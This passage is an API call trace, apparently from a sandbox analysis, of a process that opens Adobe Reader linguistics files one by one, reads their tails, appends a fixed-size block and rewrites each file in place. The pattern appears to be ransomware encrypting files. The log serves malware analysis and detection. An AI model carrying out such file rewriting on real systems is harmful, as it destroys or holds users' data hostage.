hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.154] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.154] ReleaseMutex (hMutex=0x128) returned 1 [0045.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul.hyp", lpUsedDefaultChar=0x0) returned 7 [0045.154] ReadFile (in: hFile=0x1b0, lpBuffer=0x3a45df8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0045.664] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x16000 [0045.667] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.668] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x16000 [0045.668] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a4be58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4be58*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.668] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.668] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a4be58*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4be58*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0045.668] CloseHandle (hObject=0x1b0) returned 1 [0045.668] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.669] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.669] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2000 [0045.669] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.669] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.669] ReleaseMutex (hMutex=0x128) returned 1 [0045.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr.hyp", lpUsedDefaultChar=0x0) returned 7 [0045.669] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0045.671] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0045.671] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2a0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0045.672] CloseHandle (hObject=0x1b0) returned 1 [0045.672] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze108.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze108.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.672] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.673] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x127204 [0045.673] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.673] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.673] ReleaseMutex (hMutex=0x128) returned 1 [0045.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze108.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze108.hsp", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze108.hsp", lpUsedDefaultChar=0x0) returned 10 [0045.673] ReadFile (in: hFile=0x1b0, lpBuffer=0x27f6cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.675] ReadFile (in: hFile=0x1b0, lpBuffer=0x27f6cc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.734] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x126204 [0045.734] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.736] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x126204 [0045.737] WriteFile (in: hFile=0x1b0, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.737] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.737] WriteFile (in: hFile=0x1b0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0045.738] WriteFile (in: hFile=0x1b0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.738] CloseHandle (hObject=0x1b0) returned 1 [0045.738] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.739] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.739] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7ff4 [0045.739] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.739] ReleaseMutex (hMutex=0x128) returned 1 [0045.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut32.clx", cchWideChar=9, lpMultiByteStr=0x1e6342c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut32.clx", lpUsedDefaultChar=0x0) returned 9 [0045.740] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.743] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6ff4 [0045.743] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.744] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6ff4 [0045.744] WriteFile (in: hFile=0x1b0, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.747] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.747] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.747] CloseHandle (hObject=0x1b0) returned 1 [0045.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.748] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.748] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7ffa [0045.748] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.748] ReleaseMutex (hMutex=0x128) returned 1 [0045.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin32.clx", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin32.clx", lpUsedDefaultChar=0x0) returned 9 [0045.748] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.752] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6ffa [0045.752] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.863] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6ffa [0045.863] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.864] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.864] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.864] CloseHandle (hObject=0x1b0) returned 1 [0045.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre110.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre110.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.865] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.865] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x48db5 [0045.865] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.865] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.865] ReleaseMutex (hMutex=0x128) returned 1 [0045.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre110.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre110.hsp", cchWideChar=10, lpMultiByteStr=0x1e6342c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre110.hsp", lpUsedDefaultChar=0x0) returned 10 [0045.865] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0045.872] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x47db5 [0045.872] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.877] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x47db5 [0045.878] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.879] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.879] WriteFile (in: hFile=0x1b0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.879] CloseHandle (hObject=0x1b0) returned 1 [0045.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\heb32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\heb32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.880] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.880] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7fff [0045.880] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.880] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.880] ReleaseMutex (hMutex=0x128) returned 1 [0045.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heb32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heb32.clx", cchWideChar=9, lpMultiByteStr=0x1e6338c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="heb32.clx", lpUsedDefaultChar=0x0) returned 9 [0045.880] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.883] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6fff [0045.883] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.888] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6fff [0045.888] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.889] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.889] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.889] CloseHandle (hObject=0x1b0) returned 1 [0045.913] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\itl.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\itl.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.913] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.913] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1000 [0045.913] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.913] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.913] ReleaseMutex (hMutex=0x128) returned 1 [0045.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="itl.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="itl.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="itl.hyp", lpUsedDefaultChar=0x0) returned 7 [0045.913] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f2bc*=0x1000, lpOverlapped=0x0) returned 1 [0045.920] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0045.920] WriteFile (in: hFile=0x1b0, lpBuffer=0x280ccf8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280ccf8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1588, lpOverlapped=0x0) returned 1 [0045.920] CloseHandle (hObject=0x1b0) returned 1 [0045.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lit32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lit32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.921] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.921] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, 